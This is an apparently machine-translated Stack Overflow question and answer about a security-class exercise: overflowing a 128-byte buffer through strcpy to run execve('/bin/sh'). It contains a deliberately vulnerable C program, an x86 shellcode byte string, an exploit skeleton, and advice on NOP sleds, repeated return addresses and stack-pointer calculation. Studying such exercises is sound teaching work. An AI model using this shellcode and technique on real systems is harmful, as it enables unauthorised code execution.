Pergunta

Estou tentando descobrir esse problema para uma das minhas aulas de SCI, utilizei todos os recursos e ainda tenho problemas, se alguém pudesse fornecer algumas dicas, eu agradeceria muito.

Eu tenho esse "alvo" que preciso executar um execve ("/bin/sh") com o exploração de buffer de buffer. No transbordamento do BUF [128], ao executar o comando inseguro strcpy, um ponteiro de volta ao buffer aparece no local em que o sistema espera encontrar o endereço de retorno.

Target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

explorar.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Entendo que preciso preencher argv [1] com mais de 128 bytes, sendo os bytes acima de 128 o endereço de retorno, que deve ser apontado de volta ao buffer para que ele execute o /bin /sh dentro. Isso está correto até agora? Alguém pode fornecer o próximo passo?

Muito obrigado por qualquer ajuda.

Foi útil?

Solução

Bem, então você deseja que o programa execute seu código de shell. Ele já está em forma de máquina, por isso está pronto para ser executado pelo sistema. Você o armazenou em um buffer. Então, a pergunta seria "Como o sistema sabe executar meu código?" Mais precisamente, "Como o sistema sabe onde procurar o próximo código a ser executado?" A resposta neste caso é o endereço de retorno que você está falando.

Basicamente, você está no caminho certo. Você já tentou executar o código? Uma coisa que notei ao realizar esse tipo de exploração é que não é uma ciência exata. Às vezes, há outras coisas na memória que você não espera estar lá, então você precisa aumentar o número de bytes que adicionar ao seu buffer para alinhar corretamente o endereço de retorno com onde o sistema espera que seja.

Não sou especialista em segurança, mas posso lhe dizer algumas coisas que podem ajudar. Uma é que eu geralmente incluo um 'Nop Sled' - essencialmente apenas uma série de bytes 0x90 que não fazem nada além de executar instruções 'Nop' no processador. Outro truque é repetir o endereço de retorno no final do buffer, de modo que, se mesmo um deles substituir o endereço de retorno na pilha, você terá um retorno bem -sucedido para onde deseja.

Então, seu buffer ficará assim:

| NOP SLED | Shellcode | Endereço de retorno repetido |

(Nota: essas não são minhas idéias, eu as obtive de hackers: a arte da exploração, de Jon Erickson. Eu recomendo este livro se você estiver interessado em aprender mais sobre isso).

Para calcular o endereço, você pode usar algo semelhante ao seguinte:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
    int i, offset;
    long esp, ret, *addr_ptr;
    char* buffer;

    offset = 0;
    esp = sp();
    ret = esp - offset;
}

Agora, o RET segurará o endereço de retorno para o qual deseja retornar, assumindo que você alocasse o buffer para estar no heap.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top